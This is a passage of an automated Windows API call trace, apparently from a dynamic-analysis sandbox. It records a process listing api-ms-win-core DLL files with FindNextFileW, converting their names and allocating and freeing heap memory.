lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.232] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.232] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.232] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.232] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.233] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.233] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.233] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x18c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0227.233] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.233] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.234] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x18c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.234] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.234] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x18c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0227.234] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.234] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.234] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x18c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.235] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.235] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.235] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.235] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.236] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.236] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, 